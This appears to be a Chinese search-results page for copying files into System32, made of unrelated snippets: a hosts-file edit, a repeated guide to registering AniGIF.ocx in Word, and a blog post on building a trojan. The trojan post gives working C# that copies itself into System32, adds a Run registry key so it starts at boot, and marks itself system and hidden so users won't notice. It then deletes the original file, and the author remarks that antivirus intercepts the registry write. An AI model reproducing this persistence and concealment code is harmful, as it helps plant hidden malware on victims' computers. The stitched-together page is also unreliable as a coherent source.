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  • ...首先我们host文件复制到桌面上,然后用记事本打开,将文件内容修改并保存 注意前面不要加#号键 此时移动时,需要替换目标文件,然后点击继续 再打开文件查看已经修改好了 ...

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    今天在参考博客专家写高可用的服务注册中心eureka-serer中配置hosts文件时
    需要添加上述内容,但是我们找到电脑中该目录下的hosts文件,修改之后不能保存,那该怎么继续下去呢?
    首先我们把host文件复制到桌面上,然后用记事本打开,将文件内容修改并保存
    注意前面不要加#号键
    在这里插入图片描述
    此时移动时,需要替换目标文件,然后点击继续
    在这里插入图片描述
    再打开文件查看已经修改好了
    在这里插入图片描述

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  • 2、这个文件复制到C:/windows/system32。3、打开,右击工具栏空白处,打开“控件工具箱”。4、在控件工具箱“注册自定义控件”,选择AniGIF.ocx这个文件,完成对AniGIF.ocx文件的注册。 5、在“其他控件”现在可以...

    1、首先百度一下“AniGIF.ocx”,很容易找这个小文件,把这个文件下载。

    2、把这个文件复制到C:/windows/system32。

    3、打开,右击工具栏空白处,打开“控件工具箱”。

    4、在控件工具箱“注册自定义控件”,选择AniGIF.ocx这个文件,完成对AniGIF.ocx文件的注册。

    5、在“其他控件”现在可以找到“animation GIF Control”,这个控件,单击选择这个控件。文档里会出现一个黑色的框子。

    6、右击这个黑框,在如图菜单里选择“properities”属性对话框。

    7、在属性对话框里选择“browse”打开文件浏览器,选择要载入的GIF动画。

    8、选择“properities”选项卡,再选择“autosize”,这样可以根据GIF动画尺寸的大小自动调整。

    9、点击“应用”确定后,点击“控件工具箱”工具栏上的“退出设计模式”按钮。就可以看到效果了。

    10、如果还要对这个插入的动画进行设计的话,单击“进入设计模式”,可以对这个gif进行操作处理。

    11、进入设计模式,进入“属性”窗口,大家可以对GIF动画具体参数进行设计。

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  • 文:RQC我们在开发木马程序的时候一般都希望别人一运行就自己复制到C:/Windows/System32 目录下并且将其文件属性改为系统文件而且为隐藏好让别人不太好发觉,然后开机还要实现自启动,在C#中我们该怎么做呢,代码...

    文:RQC

     

    我们在开发木马程序的时候一般都希望别人一运行就把自己复制到C:/Windows/System32 目录下并且将其文件属性改为系统文件而且为隐藏好让别人不太好发觉,然后开机还要实现自启动,在C#中我们该怎么做呢,代码如下:

     

    using System.IO;

    using Microsoft.Win32;
    using System.Diagnostics;       //引入这几个命名空间

     

    string filename = Application.ExecutablePath;   //得到自身的路径和文件名

    string New_filename = @"C:/Windows/System32/" + Process.GetCurrentProcess().ProcessName + ".exe";  //目标文件路径和文件名

     

    //判断 C:/Windows/System32 这个目录下是否存在本程序 防止多次复制

     if (!File.Exists(New_filename))

    {

          File.Copy(filename,New_filename); //将其复制进去

          //将程序路径写入注册表,随Windows启动
          RegistryKey runkey = Registry.LocalMachine;
          RegistryKey run = runkey.CreateSubKey(@"SOFTWARE/Microsoft/Windows/CurrentVersion/Run");

          run.SetValue("爷是木马", New_filename);

          //将复制进去的程序文件属性修改为系统文件并隐藏
          File.SetAttributes(New_filename, FileAttributes.System | FileAttributes.Hidden);
          runkey.Close();

          Process.Start(New_filename,Process.GetCurrentProcess().Id.ToString() + " " + "/"" + filename + "/"");   //启动复制进去的程序,并将自身的进程ID和自身的路径传递给复制进去的程序让其结束本进程并删除本程序文件

          return;

    }

     

    然后在 Program.cs 文件里的Main函数里加上以下代码

    static class Program
        {
            /// <summary>
            /// 应用程序的主入口点。
            /// </summary>
            [STAThread]
            static void Main(string[] args)                  //注意,在这里给Main方法加上这个形式参数可以让程序运行时可以接收传递的参数
            {
                Application.EnableVisualStyles();
                Application.SetCompatibleTextRenderingDefault(false);
                if (args.Length > 0)                    //判断程序运行时有没有传递参数
                {
                    System.Diagnostics.Process.GetProcessById(int.Parse(args[0])).Kill();   //结束原程序进程
                    Application.DoEvents();                   //等待以上代码全部执行完毕,这句很重要,不然很可能在以上程序工作还未完成时执行了下面一句代码而导致删除不了
                    System.IO.File.Delete(args[1]);      //删除原程序文件
                }
                Application.Run(new Form1());
            }
        }

     

    以上代码已经实现了这个功能,由于实现开机自启动是修改注册表实现的,所以360对程序的修改注册表有适时拦截,等找到更好开机自启动的方法了再写出来

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  • 2、这个文件复制到C:windowssystem32。3、打开,右击工具栏空白处,打开“控件工具箱”。 4、在控件工具箱“注册自定义控件”,选择AniGIF.ocx这个文件,完成对AniGIF.ocx文件的注册。 5、在“其他控件”现在可以...

    想要在word里插入会动的gif图?很简单,照下面步骤做就可以了哦~

    1、首先百度一下“AniGIF.ocx”,很容易找这个小文件,把这个文件下载。

    2、把这个文件复制到C:windowssystem32。

    3、打开,右击工具栏空白处,打开“控件工具箱”。

    4、在控件工具箱“注册自定义控件”,选择AniGIF.ocx这个文件,完成对AniGIF.ocx文件的注册。

    5、在“其他控件”现在可以找到“animation GIF Control”,这个控件,单击选择这个控件。文档里会出现一个黑色的框子。

    6、右击这个黑框,在如图菜单里选择“properities”属性对话框。

    7、在属性对话框里选择“browse”打开文件浏览器,选择要载入的GIF动画。

    8、选择“properities”选项卡,再选择“autosize”,这样可以根据GIF动画尺寸的大小自动调整。

    9、点击“应用”确定后,点击“控件工具箱”工具栏上的“退出设计模式”按钮。就可以看到效果了。

    10、如果还要对这个插入的动画进行设计的话,单击“进入设计模式”,可以对这个gif进行操作处理。

    11、进入设计模式,进入“属性”窗口,大家可以对GIF动画具体参数进行设计。

    以上是的全部内容,希望对大家有所帮助

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怎么把文件复制到system32